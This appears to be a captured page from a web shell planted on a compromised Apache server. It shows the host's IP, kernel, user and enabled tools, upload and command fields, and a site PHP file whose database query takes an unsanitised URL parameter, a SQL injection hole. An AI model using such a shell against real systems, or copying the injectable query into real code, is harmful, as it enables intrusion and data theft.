403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/lineLocal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/lineLocal/answer.php
<?php 
if (isset($_GET['MID'])){
	$msgID = $_GET['MID'];
	include('config.php');
	$mysqli = new mysqli($database_host, $database_username, $database_password, $database_name, $database_port);
	$mysqli->set_charset("utf8");
	if ($mysqli->connect_error) {
		echo 'SQL Error';
	} else {	 
		$sQl = "select  * from report  WHERE  idreport=$msgID limit 1";
		$Conn = $mysqli->query($sQl);
		if ($Conn) {
			if (mysqli_num_rows($Conn) ==1){
				while($emp = $Conn->fetch_array()){ 											
					if (is_null($emp['resWaitting']) || empty($emp['resWaitting'])) echo 'No Answer ';
					else echo $emp['resWaitting'];
				}
		     } else 	echo 'NotFound';
			 mysqli_free_result($Conn); 
		} else echo 'Error';
	}	
} else echo "C";
?>

Youez - 2016 - github.com/yon3zu
LinuXploit